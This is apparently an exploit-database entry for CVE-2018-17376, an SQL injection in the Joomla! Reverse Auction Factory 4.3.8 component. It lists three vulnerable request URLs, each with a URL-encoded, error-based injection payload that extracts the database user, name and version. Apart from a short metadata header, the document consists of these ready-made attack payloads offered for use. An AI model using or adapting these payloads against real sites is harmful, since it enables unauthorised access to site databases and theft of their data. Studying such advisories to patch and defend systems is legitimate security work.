# # # # #
# Exploit Title: Joomla! Component Reverse Auction Factory 4.3.8 - SQL Injection
# Dork: N/A
# Date: 2018-09-24
# Vendor Homepage: https://thephpfactory.com/
# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/auction/reverse-auction-factory/
# Version: 4.3.8
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-17376
# # # # #
# Exploit Author: Ihsan Sencan
# # # # #
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_rbids&task=listauctions&filter_order_Dir=[SQL]
# 
# %2c%45%58%54%52%41%43%54%56%41%4c%55%45%28%36%36%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%36%36%3d%36%36%2c%31%29%29%29%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%29%29
#  
# 2)
# http://localhost/[PATH]/index.php?option=com_rbids&task=listauctions&cat=[SQL]
# 
# %31%27%20%61%6e%64%28%73%65%6c%65%63%74%20%31%20%46%52%4f%4d%28%73%65%6c%65%63%74%20%63%6f%75%6e%74%28%2a%29%2c%63%6f%6e%63%61%74%28%28%73%65%6c%65%63%74%20%28%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%64%61%74%61%62%61%73%65%28%29%2c%30%78%32%37%2c%30%78%37%65%29%29%20%46%52%4f%4d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%20%4c%49%4d%49%54%20%30%2c%31%29%2c%66%6c%6f%6f%72%28%72%61%6e%64%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%20%47%52%4f%55%50%20%42%59%20%78%29%61%29%2d%2d%20%2d
#  
# 3)
# http://localhost/[PATH]/index.php?option=com_rbids&task=categories&filter_letter=[SQL]
# 
# %27%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%58
#  
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